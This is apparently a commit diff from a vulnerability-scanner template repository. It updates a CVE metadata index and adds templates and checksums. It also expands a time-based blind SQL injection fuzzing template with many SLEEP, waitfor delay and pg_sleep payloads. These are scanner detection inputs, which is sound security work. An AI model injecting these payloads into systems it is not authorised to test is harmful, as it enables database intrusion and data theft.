fix: fix typo in CVE-2024-36104.yaml

chore: generate new addition list 🤖
chore: generate templates checksum 🤖
2026-11-07 08:36:19 -10:00 · 2025-08-16 11:41:14 +09:00 · 2025-08-15 07:28:05 +00:00 · 2025-08-15 07:28:00 +00:00 · 2025-08-15 07:27:58 +00:00 · 2025-08-15 12:57:32 +05:30
233 changed files with 1099 additions and 534 deletions
@@ -1,5 +1,15 @@
 http/cves/2025/CVE-2025-32430.yaml
+http/cves/2025/CVE-2025-34073.yaml
+http/cves/2025/CVE-2025-54589.yaml
+http/cves/2025/CVE-2025-6934.yaml
+http/exposed-panels/espec-web-controller-panel.yaml
 http/exposed-panels/huawei-holosense-panel.yaml
 http/exposed-panels/hyperdx-panel.yaml
 http/exposed-panels/zipline-panel.yaml
 http/exposures/files/python-venv-exposure.yaml
+http/miscellaneous/atproto-did-exposure.yaml
+http/miscellaneous/mta-sts-exposure.yaml
+http/miscellaneous/nostr-json-exposure.yaml
+http/miscellaneous/oauth-authorization-server-exposure.yaml
+http/miscellaneous/pki-validation-exposure.yaml
+http/technologies/nvidia-triton-detect.yaml
@@ -1708,7 +1708,7 @@
 {"ID":"CVE-2022-1442","Info":{"Name":"WordPress Metform \u003c=2.1.3 - Information Disclosure","Severity":"high","Description":"WordPress Metform plugin through 2.1.3 is susceptible to information disclosure due to improper access control in the ~/core/forms/action.php file. An attacker can view all API keys and secrets of integrated third-party APIs such as that of PayPal, Stripe, Mailchimp, Hubspot, HelpScout, reCAPTCHA and many more.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-1442.yaml"}
 {"ID":"CVE-2022-1574","Info":{"Name":"WordPress HTML2WP \u003c=1.0.0 - Arbitrary File Upload","Severity":"critical","Description":"WordPress HTML2WP plugin through 1.0.0 contains an arbitrary file upload vulnerability. The plugin does not perform authorization and CSRF checks when importing files and does not validate them. As a result, an attacker can upload arbitrary files on the remote server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-1574.yaml"}
 {"ID":"CVE-2022-1580","Info":{"Name":"Site Offline WP Plugin \u003c 1.5.3 - Authorization Bypass","Severity":"medium","Description":"The plugin prevents users from accessing a website but does not do so if the URL contained certain keywords. Adding those keywords to the URL's query string would bypass the plugin's main feature.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2022/CVE-2022-1580.yaml"}
-{"ID":"CVE-2022-1595","Info":{"Name":"WordPress HC Custom WP-Admin URL \u003c=1.4 - Admin Login URL Disclosure","Severity":"medium","Description":"WordPress HC Custom WP-Admin URL plugin through 1.4 leaks the secret login URL when sending a specially crafted request, thereby allowing an attacker to discover the administrative login URL.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-1595.yaml"}
+{"ID":"CVE-2022-1595","Info":{"Name":"WordPress HC Custom WP-Admin URL \u003c=1.4 - Admin Login URL Disclosure","Severity":"medium","Description":"The HC Custom WP-Admin URL WordPress plugin through 1.4 leaks the secret login URL when sending a specific crafted request\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-1595.yaml"}
 {"ID":"CVE-2022-1597","Info":{"Name":"WordPress WPQA \u003c5.4 - Cross-Site Scripting","Severity":"medium","Description":"WordPress WPQA plugin prior to 5.4 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter on its reset password form.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-1597.yaml"}
 {"ID":"CVE-2022-1598","Info":{"Name":"WordPress WPQA \u003c5.5 - Improper Access Control","Severity":"medium","Description":"WordPress WPQA plugin before 5.5 is susceptible to improper access control. The plugin lacks authentication in a REST API endpoint. An attacker can potentially discover private questions sent between users on the site.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-1598.yaml"}
 {"ID":"CVE-2022-1609","Info":{"Name":"The School Management \u003c 9.9.7 - Remote Code Execution","Severity":"critical","Description":"The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-1609.yaml"}
@@ -2784,7 +2784,7 @@
 {"ID":"CVE-2024-3552","Info":{"Name":"Web Directory Free \u003c 1.7.0 - SQL Injection","Severity":"critical","Description":"The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-3552.yaml"}
 {"ID":"CVE-2024-35584","Info":{"Name":"openSIS \u003c 9.1 - SQL Injection","Severity":"high","Description":"SQL injection vulnerability in Ajax.php, ForWindow.php, ForExport.php, Modules.php, functions/HackingLogFnc.php in OpenSis Community Edition 9.1, 8.0, and possibly earlier versions. It is possible for an authenticated user to perform SQL Injection due to the lack to sanitisation. The application takes arbitrary value from \"X-Forwarded-For\" header and appends it to a SQL INSERT statement directly, leading to SQL Injection.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-35584.yaml"}
 {"ID":"CVE-2024-35627","Info":{"Name":"TileServer API - Cross Site Scripting","Severity":"medium","Description":"tileserver-gl up to v4.4.10 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /data/v3/?key.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-35627.yaml"}
-{"ID":"CVE-2024-36104","Info":{"Name":"Apache OFBiz - Path Traversal","Severity":"critical","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-36104.yaml"}
+{"ID":"CVE-2024-36104","Info":{"Name":"Apache OFBiz - Directory Traversal \u0026 Remote Code Execution","Severity":"critical","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-36104.yaml"}
 {"ID":"CVE-2024-36117","Info":{"Name":"Reposilite \u003e= 3.3.0, \u003c 3.5.12 - Arbitrary File Read","Severity":"high","Description":"Reposilite is an open source, lightweight and easy-to-use repository manager for Maven based artifacts in JVM ecosystem. Reposilite v3.5.10 is affected by an Arbitrary File Read vulnerability via path traversal while serving expanded javadoc files. Reposilite has addressed this issue in version 3.5.12. There are no known workarounds for this vulnerability. This issue was discovered and reported by the GitHub Security lab and is also tracked as GHSL-2024-074.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-36117.yaml"}
 {"ID":"CVE-2024-36401","Info":{"Name":"GeoServer RCE in Evaluating Property Name Expressions","Severity":"critical","Description":"In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-36401.yaml"}
 {"ID":"CVE-2024-36404","Info":{"Name":"GeoServer and GeoTools - Remote Code Execution","Severity":"critical","Description":"GeoTools is an open source Java library that provides tools for geospatial data. Prior to versions 31.2, 30.4, and 29.6, Remote Code Execution (RCE) is possible if an application uses certain GeoTools functionality to evaluate XPath expressions supplied by user input. Versions 31.2, 30.4, and 29.6 contain a fix for this issue. As a workaround, GeoTools can operate with reduced functionality by removing the `gt-complex` jar from one's application. As an example of the impact, application schema `datastore` would not function without the ability to use XPath expressions to query complex content. Alternatively, one may utilize a drop-in replacement GeoTools jar from SourceForge for versions 31.1, 30.3, 30.2, 29.2, 28.2, 27.5, 27.4, 26.7, 26.4, 25.2, and 24.0. These jars are for download only and are not available from maven central, intended to quickly provide a fix to affected applications.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-36404.yaml"}
@@ -2816,7 +2816,7 @@
 {"ID":"CVE-2024-38514","Info":{"Name":"NextChat - Server-Side Request Forgery","Severity":"high","Description":"NextChat v2.12.3 suffers from a Server-Side Request Forgery (SSRF) and Cross-Site Scripting vulnerability due to a lack of validation of the GET parameter on the WebDav API endpoint.\n","Classification":{"CVSSScore":"7.4"}},"file_path":"http/cves/2024/CVE-2024-38514.yaml"}
 {"ID":"CVE-2024-38653","Info":{"Name":"Ivanti Avalanche SmartDeviceServer - XML External Entity","Severity":"high","Description":"XXE in SmartDeviceServer in Ivanti Avalanche 6.3.1 allows a remote unauthenticated attacker to read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-38653.yaml"}
 {"ID":"CVE-2024-38816","Info":{"Name":"WebMvc.fn/WebFlux.fn - Path Traversal","Severity":"high","Description":"Applications serving static resources through the functional web frameworks WebMvc.fn or WebFlux.fn are vulnerable to path traversal attacks. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible to the process in which the Spring application is running.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-38816.yaml"}
-{"ID":"CVE-2024-38856","Info":{"Name":"Apache OFBiz - Remote Code Execution","Severity":"critical","Description":"Incorrect Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-38856.yaml"}
+{"ID":"CVE-2024-38856","Info":{"Name":"Apache OFBiz - Improper Authorization \u0026 Remote Code Execution","Severity":"critical","Description":"Improper Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-38856.yaml"}
 {"ID":"CVE-2024-3922","Info":{"Name":"Dokan Pro \u003c= 3.10.3 - SQL Injection","Severity":"critical","Description":"The Dokan Pro plugin for WordPress is vulnerable to SQL Injection via the 'code' parameter in all versions up to, and including, 3.10.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-3922.yaml"}
 {"ID":"CVE-2024-39250","Info":{"Name":"EfroTech Timetrax v8.3 - Sql Injection","Severity":"high","Description":"EfroTech Timetrax v8.3 was discovered to contain an unauthenticated SQL injection vulnerability via the q parameter in the search web interface.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-39250.yaml"}
 {"ID":"CVE-2024-39713","Info":{"Name":"Rocket.Chat - Server-Side Request Forgery (SSRF)","Severity":"high","Description":"A Server-Side Request Forgery (SSRF) affects Rocket.Chat's Twilio webhook endpoint before version 6.10.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-39713.yaml"}
@@ -3114,6 +3114,7 @@
 {"ID":"CVE-2025-34031","Info":{"Name":"Moodle Jmol Filter 6.1 - Local File Inclusion","Severity":"high","Description":"Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-34031.yaml"}
 {"ID":"CVE-2025-34032","Info":{"Name":"Moodle LMS Jmol Plugin \u003c= 6.1 - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-34032.yaml"}
 {"ID":"CVE-2025-34040","Info":{"Name":"Zhiyuan OA Platform - Arbitrary File Upload","Severity":"critical","Description":"An arbitrary file upload vulnerability exists in the Zhiyuan OA platform 5.0, 5.1 - 5.6sp1, 6.0 - 6.1sp2, 7.0, 7.0sp1 - 7.1, 7.1sp1, and 8.0 - 8.0sp2 via the wpsAssistServlet interface. The realFileType and fileId parameters are improperly validated during multipart file uploads, allowing unauthenticated attackers to upload crafted JSP files outside of intended directories using path traversal. Successful exploitation enables remote code execution as the uploaded file can be accessed and executed through the web server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34040.yaml"}
+{"ID":"CVE-2025-34073","Info":{"Name":"Maltrail \u003c=0.54 Username Parameter -  Remote Command Execution","Severity":"critical","Description":"Maltrail versions \u003c=0.54. A remote attacker can execute arbitrary operating system commands via the username parameter in a POST request to the /login endpoint.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34073.yaml"}
 {"ID":"CVE-2025-34077","Info":{"Name":"WordPress Pie Register \u003c= 3.7.1.4 - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability exists in the WordPress Pie Register plugin ≤ 3.7.1.4 that allows unauthenticated attackers to impersonate arbitrary users by submitting a crafted POST request to the login endpoint. By setting social_site=true and manipulating the user_id_social_site parameter, an attacker can generate a valid WordPress session cookie for any user ID, including administrators.Once authenticated, the attacker may exploit plugin upload functionality to install a malicious plugin containing arbitrary PHP code, resulting in remote code execution on the underlying server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34077.yaml"}
 {"ID":"CVE-2025-34085","Info":{"Name":"WordPress Simple File List \u003c=4.2.2 - Remote Code Execution","Severity":"critical","Description":"An unrestricted file upload vulnerability in the WordPress Simple File List plugin before version 4.2.3 allows unauthenticated remote attackers to achieve remote code execution. The plugin's upload endpoint (ee-upload-engine.php) restricts file uploads based on extension, but lacks proper validation after file renaming. An attacker can first upload a PHP payload disguised as a .png file, then use the plugin’s ee-file-engine.php rename functionality to change the extension to .php. This bypasses upload restrictions and results in the uploaded payload being executable on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-34085.yaml"}
 {"ID":"CVE-2025-34141","Info":{"Name":"ETQ Reliance - Reflected XSS via SQLConverterServlet","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in ETQ Reliance CG (legacy) platform within the SQLConverterServlet component. This vulnerability requires user interaction, such as clicking a crafted link, and may result in execution of unauthorized scripts in the user's context. The affected servlet was unnecessarily exposed to authenticated users and has since been disabled in version SE.2025.1.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-34141.yaml"}
@@ -3159,6 +3160,7 @@
 {"ID":"CVE-2025-53770","Info":{"Name":"Microsoft SharePoint Server - Remote Code Execution (ToolShell)","Severity":"critical","Description":"Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an unauthorized attacker to execute code over a network. Microsoft is aware that an exploit for CVE-2025-53770 exists in the wild. Microsoft is preparing and fully testing a comprehensive update to address this vulnerability. In the meantime, please make sure that the mitigation provided in this CVE documentation is in place so that you are protected from exploitation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-53770.yaml"}
 {"ID":"CVE-2025-53833","Info":{"Name":"LaRecipe \u003c 2.8.1 Remote Code Execution via SSTI","Severity":"critical","Description":"LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-53833.yaml"}
 {"ID":"CVE-2025-5394","Info":{"Name":"Unauthenticated Arbitrary Plugin Upload in Alone Theme","Severity":"critical","Description":"The Alone – Charity Multipurpose Non-profit WordPress Theme theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the alone_import_pack_install_plugin() function in all versions up to, and including, 7.8.3.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5394.yaml"}
+{"ID":"CVE-2025-54589","Info":{"Name":"Copyparty \u003c=1.18.6 - Cross-Site Scripting","Severity":"medium","Description":"Copyparty before 1.18.7 is vulnerable to reflected cross-site scripting (XSS) via the 'filter' parameter in the '/?ru' endpoint. Unsanitized user input is reflected in the HTML response, allowing attackers to execute arbitrary JavaScript in the context of the victim's browser.\n","Classification":{"CVSSScore":"6.3"}},"file_path":"http/cves/2025/CVE-2025-54589.yaml"}
 {"ID":"CVE-2025-54782","Info":{"Name":"NestJS DevTools Integration - Remote Code Execution","Severity":"critical","Description":"Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2025/CVE-2025-54782.yaml"}
 {"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}
 {"ID":"CVE-2025-5777","Info":{"Name":"Citrix NetScaler Memory Disclosure - CitrixBleed 2","Severity":"critical","Description":"Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5777.yaml"}
@@ -3166,6 +3168,7 @@
 {"ID":"CVE-2025-6058","Info":{"Name":"WPBookit \u003c= 1.0.4 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6058.yaml"}
 {"ID":"CVE-2025-6197","Info":{"Name":"Open Redirect via Organization Switching","Severity":"medium","Description":"An open redirect vulnerability has been identified in Grafana OSS organization switching functionality. Prerequisites for exploitation Multiple organizations must exist in the Grafana instance - Victim must be on a different organization than the one specified in the URL\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6197.yaml"}
 {"ID":"CVE-2025-6851","Info":{"Name":"WordPress Broken Link Notifier \u003c 1.3.1 - Unauthenticated SSRF","Severity":"high","Description":"The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-6851.yaml"}
+{"ID":"CVE-2025-6934","Info":{"Name":"The Opal Estate Pro – Property Management \u003c= 1.7.5 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The Opal Estate Pro plugin (≤ 1.7.5) is vulnerable to privilege escalation. Due to missing role restrictions in the on_register_user function, users can register with any role. This allows unauthenticated attackers to create administrator accounts.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6934.yaml"}
 {"ID":"CVE-2025-6970","Info":{"Name":"WordPress Events Manager \u003c= 7.0.3 - SQL Injection","Severity":"critical","Description":"The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6970.yaml"}
 {"ID":"CVE-2025-8286","Info":{"Name":"Güralp Systems FMUS Series - Unauthenticated Access","Severity":"critical","Description":"Güralp Systems FMUS Series Seismic Monitoring Devices expose an unauthenticated Telnet-based command line interface that allows attackers to modify hardware configurations, manipulate data, or factory reset the device.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-8286.yaml"}
 {"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}
@@ -1 +1 @@
-294d99b20fa37825b7bc1a4a2d683350
+3a74c74dfb60ee61c2864054b1b4df88
@@ -2,10 +2,10 @@ id: time-based-sqli

 info:
  name: Time-Based Blind SQL Injection
-  author: 0xKayala
+  author: 0xKayala,Jaenact
  severity: critical
  description: |
-    This Template detects time-based Blind SQL Injection vulnerability
+    Sends time-delay SQL payloads and measures response latency to confirm blind injection in various database engines, enabling data extraction without direct error messages.
  tags: time-based-sqli,sqli,dast,blind

 flow: http(1) && http(2)
@@ -29,12 +29,87 @@ http:

    payloads:
      injection:
+        # MySQL / MariaDB
        - "(SELECT(0)FROM(SELECT(SLEEP(7)))a)"
        - "'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z"
        - "' AND (SELECT 4800 FROM (SELECT(SLEEP(7)))HoBG)--"
        - "if(now()=sysdate(),SLEEP(7),0)"
        - "'XOR(if(now()=sysdate(),SLEEP(7),0))XOR'Z"
        - "'XOR(SELECT CASE WHEN(1234=1234) THEN SLEEP(7) ELSE 0 END)XOR'Z"
+        - "sleep(7)#"
+        - "1 or sleep(7)#"
+        - "\" or sleep(7)#"
+        - "' or sleep(7)#"
+        - "\" or sleep(7)=\""
+        - "' or sleep(7)='"
+        - "1) or sleep(7)#"
+        - "\") or sleep(7)=\""
+        - "') or sleep(7)='"
+        - "1)) or sleep(7)#"
+        - "\")) or sleep(7)=\""
+        - "')) or sleep(7)='"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))bAKL) AND 'vRxe'='vRxe"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))YjoC) AND '%'='"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))nQIP)"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))nQIP)--"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))nQIP)#"
+        - "SLEEP(7)#"
+        - "SLEEP(7)--"
+        - "SLEEP(7)=\""
+        - "SLEEP(7)='"
+        - "or SLEEP(7)"
+        - "or SLEEP(7)#"
+        - "or SLEEP(7)--"
+        - "or SLEEP(7)=\""
+        - "or SLEEP(7)='"
+        - "AnD SLEEP(7)"
+        - "AnD SLEEP(7)--"
+        - "AnD SLEEP(7)#"
+        - "&&SLEEP(7)"
+        - "&&SLEEP(7)--"
+        - "&&SLEEP(7)#"
+        - "' AnD SLEEP(7) ANd '1"
+        - "'&&SLEEP(7)&&'1"
+        - "ORDER BY SLEEP(7)"
+        - "ORDER BY SLEEP(7)--"
+        - "ORDER BY SLEEP(7)#"
+        - "(SELECT * FROM (SELECT(SLEEP(7)))ecMj)"
+        - "(SELECT * FROM (SELECT(SLEEP(7)))ecMj)#"
+        - "(SELECT * FROM (SELECT(SLEEP(7)))ecMj)--"
+        - "+ SLEEP(7) + '"
+        - "SLEEP(7)/*' or SLEEP(7) or '\" or SLEEP(7) or \"*/"
+
+        # SQL Server
+        - ";waitfor delay '0:0:7'--"
+        - ");waitfor delay '0:0:7'--"
+        - "';waitfor delay '0:0:7'--"
+        - "\";waitfor delay '0:0:7'--"
+        - "');waitfor delay '0:0:7'--"
+        - "\");waitfor delay '0:0:7'--"
+        - "));waitfor delay '0:0:7'--"
+        - "'));waitfor delay '0:0:7'--"
+        - "\"));waitfor delay '0:0:7'--"
+        - "waitfor delay '00:00:07'"
+        - "waitfor delay '00:00:07'--"
+        - "waitfor delay '00:00:07'#"
+
+        # PostgreSQL
+        - "pg_sleep(7)--"
+        - "1 or pg_sleep(7)--"
+        - "\" or pg_sleep(7)--"
+        - "' or pg_sleep(7)--"
+        - "1) or pg_sleep(7)--"
+        - "\") or pg_sleep(7)--"
+        - "') or pg_sleep(7)--"
+        - "1)) or pg_sleep(7)--"
+        - "\")) or pg_sleep(7)--"
+        - "')) or pg_sleep(7)--"
+        - "pg_SLEEP(7)"
+        - "pg_SLEEP(7)--"
+        - "pg_SLEEP(7)#"
+        - "or pg_SLEEP(7)"
+        - "or pg_SLEEP(7)--"
+        - "or pg_SLEEP(7)#"

    fuzzing:
      - part: query
@@ -44,8 +119,9 @@ http:
          - "{{injection}}"

    stop-at-first-match: true
+
    matchers:
      - type: dsl
        dsl:
          - "duration>=7 && duration <=16"
-# digest: 4a0a004730450220221817cdddedb8336ddb4afc4476f70da46a0dfb726a703a5e748458ae5bef000221009ebe3675d3fd10bf29161c179bd9b317b01f18643c2f8a6731ed9d89569495cc:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220309239d5777147313e84be59dd7de76c9ecf2fb9906dfee402c77c9699956df9022046402821c7d21565effb26fd2aab34bf0474ebfb6876b979f1efadebc7af04c4:922c64590222798bb761d5b6d8e72950
@@ -23,4 +23,4 @@ dns:
      - type: regex
        regex:
          - "v=BIMI1(.+)"
-# digest: 4a0a00473045022100e4a53ef638c55a0349b05468ae53204a0666aaca2e1e897248ac195056b8ca9b0220726e07ba08680e68fc39ab3a305ac4f0aa1d3364fbfea42109fd85e71ad5206c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008a783b68f07a839787c01fd5fa7000d55c7931571e1872433f3477a6d94c276a022100c52719f47fc5a37749ecb73ec16c4c536d61bfb4eaff4043e80983aa0d244a87:922c64590222798bb761d5b6d8e72950
@@ -35,4 +35,4 @@ dns:
        group: 1
        regex:
          - "IN\\tNS\\t(.+)"
-# digest: 4b0a00483046022100c57ebd497af62d2440f04cfb942d799fbeab3f13d311d0db587f99c7070afbc9022100943391098449c2193ca3b403a9e70fd4b643a6b6e68cb9f4486f2a28d5bdf82f:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220493622d9df516c2e240732ee8774e2d9fbdc23effe742b4f9c0df4ef02469c2f0220489f31cdf5e3e63ae22341b2d2226b3210f0ec86cd250e2b74a7dda61352e35c:922c64590222798bb761d5b6d8e72950
@@ -81,4 +81,4 @@ dns:
        name: "edge-cast"
        words:
          - "edgecastdns.net"
-# digest: 4a0a0047304502203aeed7bfedcc7b45ca867e0f930be06a54a4a972b17d25741946fd7e27811ee4022100a44c89f28ec618d026a25450db7ee0ffddcd26704dcf2212865acbd1618148e1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cc6e872c9d3f3dfbad262a1475eef14e7daacef7d92ccd6c32489995f659c51e02205f48d798a4c9f001154362de6bf58723a7b0fbd164dc72b41f7af93037efa329:922c64590222798bb761d5b6d8e72950
@@ -23,4 +23,4 @@ dns:
      - type: regex
        regex:
          - "v=spf1(.+)"
-# digest: 490a0046304402204a68bd367ba69ea43d83650925eea138f6459855c0e9451f3493e05310a4e0510220781d16b8625df2b6c87b55e95a409af720918dffd0e3f8115feaa9bc1566e3ed:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008f6b43398464e47dd3055d2048ab8cb06f0e04d0796efc2c295689cc74b5e05d022100923a7792076797359f72eeb89260b7017f766be6619c1083952d82d02332a665:922c64590222798bb761d5b6d8e72950
@@ -218,4 +218,4 @@ dns:
        name: "whimsical"
        words:
          - "whimsical"
-# digest: 4b0a00483046022100a679bb2b3b61b4d86e0bdbf6bf195ccb629df6f0f01413a59d2b49bbf73564d6022100f64802ffad9cd2144196e9684dc273902029d491b8eaee1b126c7c57a55ba467:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202394a48a37222205f71d4eec71abc948a0c94f1d832866b0c622e1334f1a9d3f02202dc99e406cb015ae19247a387b9063ac363e05168708ffae7c5d265b92d105a5:922c64590222798bb761d5b6d8e72950
@@ -22,4 +22,4 @@ file:
          - 'InvalidOperationException'
          - 'UnauthorizedAccessException'
          - 'NotFound'
-# digest: 490a004630440220639bbcc2af9056b4a0707c49a96f3d77b44141a92fe047e988f5744a1df3f0c602203976bead208753f061e5258c1ddc41bba611f1c0df923ab68f25ab6e2fc15c82:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220740a8af7ee61218b72ab6152cc4dd25eda09505131ca5a0a9ad8ce6c9b160df30220687fb97327148c5919feb0d7d89d42d252fe36c6a97a0597975423490928f018:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ file:
          - 'BadRequestError'
          - 'MongoError'
          - 'SequelizeDatabaseError'
